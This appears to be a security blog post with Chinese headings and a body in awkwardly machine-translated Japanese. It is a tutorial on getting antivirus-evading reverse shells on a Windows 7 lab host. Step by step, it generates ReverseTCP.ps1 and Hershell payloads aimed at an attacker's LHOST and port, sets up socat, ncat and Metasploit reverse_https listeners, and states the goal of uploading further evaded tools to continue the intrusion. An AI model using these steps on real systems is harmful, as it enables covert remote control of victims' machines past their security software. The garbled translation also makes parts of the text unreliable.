事情起因#
使用的是前面文章nps_payload
的三件套环境,配置如下:
- Win7 SP1 build 7601
- windows 防火墙打开
- 360 杀毒正式版 5.0.0.8170
- 腾讯电脑管家 13.3.20238.213
- 火绒 5.0.36.16
ReverseTCPShell C2#
首先从github 地址ダウンロードReverseTCP.ps1
ファイルを開きます。
LHOST
とLPORT
を設定し、暗号化方式を選択する必要があります。デフォルトでは 3 つの方式が用意されています。
- ASCII
- xor
- Base64
ここではxor
を選択しました。
ps
とcmd
の利用コードが自動生成され、LPORT
の監視が開始されます。
cmd
コードをwin7
にコピーして、3 つのツールを免除してshell
を取得します。
ls
、whoami
、upload
、download
、screenshot
などの単純なコマンドを実行できます。
実行できるコマンドは少ないですが、少なくとも現時点では 3 つのツールを免除しているため、shell
を取得した後に免除された侵入ツールをアップロードして侵入を続けることができます。
Hershell#
Hershell は、Go 言語で書かれたマルチプラットフォームの逆シェルジェネレータであり、トランスポート層セキュリティ(TLS)を使用してトラフィックを暗号化し、証明書の公開鍵フィンガープリントを固定化してトラフィックの傍受を防止します。
このツールはgo
環境が必要です。すでにインストールされている場合は、この部分をスキップできます。
go 環境#
まず、公式ウェブサイトから最新のLinux
バージョンのgo
ダウンロードリンクを取得します。
wget https://studygolang.com/dl/golang/go1.13.7.linux-amd64.tar.gz
sudo tar -xzf go1.13.7.linux-amd64.tar.gz -C /usr/local/
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/gopath (オプション)
go version
使用方法#
取得:
go get github.com/lesnuages/hershell
まず、証明書を生成します。
cd hershell
make depends
Windows を例にして、クライアントを生成します。他のプラットフォームも同様です。
make windows64 LHOST=192.168.1.18 LPORT=3333
生成されたhershell.exe
をターゲットホストにコピーします。360 杀毒は検出できますが、火绒と腾讯は問題ありません。
次に、次のプログラムを使用して監視を開始できます。
- socat
- ncat
- openssl server module
- metasploit multi handler(python/shell_reverse_tcp_ssl payload)
個人的にはsocat
をおすすめします。以下のコマンドを使用します。
socat openssl-listen:3333,reuseaddr,cert=server.pem,cafile=server.key system:bash,pty,stderr
しかし、実行するとエラーが発生します。
代わりにncat
を使用する必要があります。これはnetcat
のnc
ではありません。
nmap
をインストールして使用することができます。監視コマンドは次のとおりです。
ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 3333
仮想マシンでhershell.exe
を実行すると、ubuntu
でshell
を受信できます。
msf との相互転送#
次の payload をサポートしています。
- windows/meterpreter/reverse_tcp
- windows/x64/meterpreter/reverse_tcp
- windows/meterpreter/reverse_http
- windows/x64/meterpreter/reverse_http
- windows/meterpreter/reverse_https
- windows/x64/meterpreter/reverse_https
ここでは、64 ビットのssl
を備えたwindows/x64/meterpreter/reverse_https
を選択します。
hershell
が生成したserver.pem
ファイルをmsf
がインストールされているホストにコピーし、msf
でリッスンを開始します。
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
setg LHOST 192.168.1.2
setg LPORT 3333
set HandlerSSLCert /root/server.pem
exploit -j -z
ここでのip
とポートはmsf
がインストールされているホストのもので、任意の設定が可能です。
その後、hershell を使用して次のように送信します。
[hershell]> meterpreter https 192.168.1.2:3333
受信に成功しませんでした。
参考文献:
本文完。